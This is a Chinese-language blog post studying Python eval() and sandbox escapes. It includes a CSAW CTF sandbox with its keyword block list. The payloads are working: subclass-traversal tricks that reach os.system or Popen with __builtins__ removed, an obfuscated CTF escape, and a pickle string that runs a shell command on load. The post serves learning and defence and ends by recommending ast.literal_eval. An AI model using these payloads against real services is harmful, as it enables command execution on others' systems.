python_eval_and_bypass_sandbox_study

__builtin__与__builtins__的区别与关系
python有一个内建模块,该模块会在python启动后,但在没有执行python代码前,会被加载到内存.即可用调用里面的函数,其中python2.x中是__builtin__,python3.x中更名为builtins

import __builtin__
print [i for i in __builtin__.__dict__]

输出

['bytearray', 'IndexError', 'all', 'help', 'vars', 'SyntaxError', 'unicode', 'UnicodeDecodeError', 'memoryview', 'isinstance', 'copyright', 'NameError', 'BytesWarning', 'dict', 'input', 'oct', 'bin', 'SystemExit', 'StandardError', 'format', 'repr', 'sorted', 'False', 'RuntimeWarning', 'list', 'iter', 'reload', 'Warning', '__package__', 'round', 'dir', 'cmp', 'set', 'bytes', 'reduce', 'intern', 'issubclass', 'Ellipsis', 'EOFError', 'locals', 'BufferError', 'slice', 'FloatingPointError', 'sum', 'getattr', 'abs', 'exit', 'print', 'True', 'FutureWarning', 'ImportWarning', 'None', 'hash', 'ReferenceError', 'len', 'credits', 'frozenset', '__name__', 'ord', 'super', 'TypeError', 'license', 'KeyboardInterrupt', 'UserWarning', 'filter', 'range', 'staticmethod', 'SystemError', 'BaseException', 'pow', 'RuntimeError', 'float', 'MemoryError', 'StopIteration', 'globals', 'divmod', 'enumerate', 'apply', 'LookupError', 'open', 'quit', 'basestring', 'UnicodeError', 'zip', 'hex', 'long', 'next', 'ImportError', 'chr', 'xrange', 'type', '__doc__', 'Exception', 'tuple', 'UnicodeTranslateError', 'reversed', 'UnicodeEncodeError', 'IOError', 'hasattr', 'delattr', 'setattr', 'raw_input', 'SyntaxWarning', 'compile', 'ArithmeticError', 'str', 'property', 'GeneratorExit', 'int', '__import__', 'KeyError', 'coerce', 'PendingDeprecationWarning', 'file', 'EnvironmentError', 'unichr', 'id', 'OSError', 'DeprecationWarning', 'min', 'UnicodeWarning', 'execfile', 'any', 'complex', 'bool', 'ValueError', 'NotImplemented', 'map', 'buffer', 'max', 'object', 'TabError', 'callable', 'ZeroDivisionError', 'eval', '__debug__', 'IndentationError', 'AssertionError', 'classmethod', 'UnboundLocalError', 'NotImplementedError', 'AttributeError', 'OverflowError']

即在python代码中我们可以直接使用这些函数,比如pow,现在如果想更丰富内建模块功能的话,只需要向这个dict里面添加

import __builtin__
def print_hello():
    print "hello, world"
__builtin__.__dict__['hello'] = print_hello
print_hello()
hello()

__builtins__却在python2.x/3.x都有,它也就是内建模块一个引用,与__builtin__相同的是也会一开始被先于程序加载到内存
但不同的是

1、在主模块main中,__builtins__是对内建模块__builtin__本身的引用,即__builtins__完全等价于__builtin__,二者完全是一个东西,不分彼此

2、非主模块main中,__builtins__仅是对__builtin__.__dict__的引用,而非__builtin__本身

eval函数

简介

eval是将字符串str当成有效的表达式来求值并返回计算结果

原型:eval(expression[, globals[, locals]])

globals为字典形式,locals为任何映射对象,分别是全局和局部命名空间,如果传入globals字典缺失__builtins__的时候,当前的全局命名空间将作为globals参数输入并且在表达式之前被解析,locals默认和globals相同,如果两个都省略掉话,表达式将在eval()调用的环境里面执行

所以就很容易做点什么。

import os
eval("os.system('ls')")

如果os开始没有导入呢?我们可以通过__import__('os')导入os模块,与之相比的exec是可以直接import的,原因是它只能执行python表达式

exec('import os')
eval("__import__('os').system('whoami')")
eval绕过

前面的表达式显示出,后面的两个参数是可以限制eval执行的函数,这样就感觉能在一定程度上有点安全

>>> eval('os.system(\'whoami\')',{'abs':abs},{'abs':abs})
Traceback (most recent call last):
  File "/Users/l3m0n/study/program/python/code_study/test3.py", line 15, in <module>
    eval('os.system(\'whoami\')',{'abs':abs},{'abs':abs})
  File "<string>", line 1, in <module>
NameError: name 'os' is not defined

如果是这样的情况的话:

env = {}
env["locals"]   = None
env["globals"]  = None
env["__name__"] = None
env["__file__"] = None
env["__builtins__"] = None
 
eval(users_str, env)

将作用域中的内置模块设置为None,但是一开始提到的builtins和builtin区别上面来看就知道了。
__builtins____builtin__的一个引用,在__main__模块下,两者是等价的,所以置空是没效果的

[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == "zipimporter"][0]("/home/liaoxinxi/eval_test/configobj-4.4.0-py2.5.egg").load_module("configobj").os.system("uname")

因为eval无法直接加载object,所以需要前面的class和subclasses动态加载,然后再子类zipimporter对egg文件的configobj模块进行导入,并调用内置模块中的os模块来执行命令
其中的egg文件很关键,configobj中内置了os模块,所以只要符合这样的其他也可以。

egg构造(未成功....)

可以下载带有setup.py的文件夹,加入
from setuptools import setup, find_packages
然后执行;
python setup.py bdist_egg

可以看看默认object子类

print [x.__name__ for x in ().__class__.__bases__[0].__subclasses__()]

输出

['type', 'weakref', 'weakcallableproxy', 'weakproxy', 'int', 'basestring', 'bytearray', 'list', 'NoneType', 'NotImplementedType', 'traceback', 'super', 'xrange', 'dict', 'set', 'slice', 'staticmethod', 'complex', 'float', 'buffer', 'long', 'frozenset', 'property', 'memoryview', 'tuple', 'enumerate', 'reversed', 'code', 'frame', 'builtin_function_or_method', 'instancemethod', 'function', 'classobj', 'dictproxy', 'generator', 'getset_descriptor', 'wrapper_descriptor', 'instance', 'ellipsis', 'member_descriptor', 'file', 'PyCapsule', 'cell', 'callable-iterator', 'iterator', 'long_info', 'float_info', 'EncodingMap', 'fieldnameiterator', 'formatteriterator', 'version_info', 'flags', 'BaseException', 'module', 'NullImporter', 'zipimporter', 'stat_result', 'statvfs_result', 'WarningMessage', 'catch_warnings', '_IterationGuard', 'WeakSet', 'Hashable', 'classmethod', 'Iterable', 'Sized', 'Container', 'Callable', '_Printer', '_Helper', 'SRE_Pattern', 'SRE_Match', 'SRE_Scanner', 'Quitter', 'IncrementalEncoder', 'IncrementalDecoder']

这里面有很有模块,来绕过这个,比如:
会使程序退出:

eval("[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__
 == 'Quitter'][0](0)()", {'__builtins__':None})

或者如果先导入过一些敏感模块,这可以使用popen来执行命令

import subprocess
eval("[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'Popen'][0](['ping','-c','1','127.0.0.1'])", {'__builtins__':None ,'__builtin__':None})

例如《编写高质量代码》中的一则,就可以通过这个绕过:

import subprocess
def ExpCalcBot(string):
    try:
        match_fun_list = ['pow', 'pi', 'e']
        match_fun_dict = dict([ (k, globals().get(k)) for k in match_fun_list ])
        print 'your answer is',eval(string,{"__builtins__" : None}, match_fun_dict)
    except NameError:
        print "The expression you enter is not valid"
ExpCalcBot("[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'Popen'][0](['ping','-c','1','127.0.0.1'])")
CSAW-CTF Python sandbox
#!/usr/bin/env python 
from __future__ import print_function
 
print("Welcome to my Python sandbox! Enter commands below!")
 
banned = [  
    "import",
    "exec",
    "eval",
    "pickle",
    "os",
    "subprocess",
    "kevin sucks",
    "input",
    "banned",
    "cry sum more",
    "sys"
]
 
targets = __builtins__.__dict__.keys()  
targets.remove('raw_input')  
targets.remove('print')  
for x in targets:  
    del __builtins__.__dict__[x]
 
while 1:  
    print(">>>", end=' ')
    data = raw_input()
 
    for no in banned:
        if no.lower() in data.lower():
            print("No bueno")
            break
    else: # this means nobreak
        exec data

看了一下writeup,大概是通过类里面找到一个含有os的模块,也就是上面的egg构造那块

最后payload:

[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].__dict__.values()[137]('whoami')

RickGray给出的poc(原文显示有问题,这个poc显示起来就很好理解):

[x for x in [].__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('echo Hello SandBox')
pickle.loads序列化导致命令执行问题

研究eval随便也看了看python的序列化问题

import cPickle
cPickle.loads("cos\nsystem\n(S'uname -a'\ntR.")
data = "test" 
#序列化
packed = cPickle.dumps(data)
#反序列化
data = cPickle.loads(packed)

总结

如果对象不是信任源,尽量避免使用eval,可以用安全性更好的ast.literal_eval替代

参考资料

http://drops.wooyun.org/tips/7710

http://drops.wooyun.org/web/7490

http://drops.wooyun.org/papers/66

https://hexplo.it/escaping-the-csawctf-python-sandbox/

http://drops.wooyun.org/web/13057

posted @ 2016-05-14 22:20 l3m0n 阅读(...) 评论(...)  编辑 收藏